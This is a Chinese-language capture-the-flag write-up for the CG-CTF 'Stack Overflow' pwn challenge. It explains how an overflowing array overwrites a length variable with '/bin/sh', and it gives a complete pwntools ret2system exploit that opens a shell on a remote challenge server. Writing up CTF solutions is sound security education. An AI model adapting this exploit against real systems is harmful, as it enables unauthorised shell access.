CG-CTF Stack Overflow

为了上800分也是够了…
题目地址:pwn
看了几篇wp,觉得写得总是差那么一丢丢意思
首先检查溢出点
在这里插入图片描述

通过双击A可以看到,A这个数组的大小为40
但其可以接受64个字符的大小
所以这是第一个溢出点
然后往下看
虽然明面上显示的是输入s是有限制的
限制为n
但是当我们双击n的时候会发现
n就在A的下面
因此我们可以通过A来溢出到n
在这里插入图片描述

在函数列表中我们可以看到有一个函数
名字叫做pwnme
这部明显是关键函数么
点开一看
果然
里面含有system函数
但是我们通过查找字符串发现
并没有/bin/sh字符串
因此我们需要自己去构造一个
因此我的exp为:

from pwn import *
p = remote("182.254.217.142","10001")
p.recvuntil("your choice:")
p.sendline("1")
p.recvuntil("you can leave some message here:")
payload1 = 'a'*40+'/bin/sh'
p.sendline(payload1)
p.recvuntil("your name please:")
payload2 = 'a'*0x34+p32(0x080483f0)+'a'*4+p32(0x0804a0a8)
p.sendline(payload2)
p.interactive()

前面几行就不解释了
从payload1开始
payload1 = ‘a’*40+’/bin/sh’
这是为了溢出A
使n的值为‘/bin/sh’
然后看payload2
payload2 = ‘a’*0x34+p32(0x080483f0)+‘a’*4+p32(0x0804a0a8)
由于输入的s到返回地址的距离为0x34(这个就不解释了)
然后就开始输入我们的指令了
首先
0x080483f0是system的地址
在这里插入图片描述
之后的 ’a’*4 是因为每个函数在call时,堆栈的栈顶是返回地址,所以这里随便用4个’a’充当返回地址,下一个参数为system的参数
我们知道下一个参数就是’/bin/sh’了
所以’/bin/sh’的地址就是n的地址了
IDA可以看到n的地址为0x0804a0a8
因此exp就构造完成了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值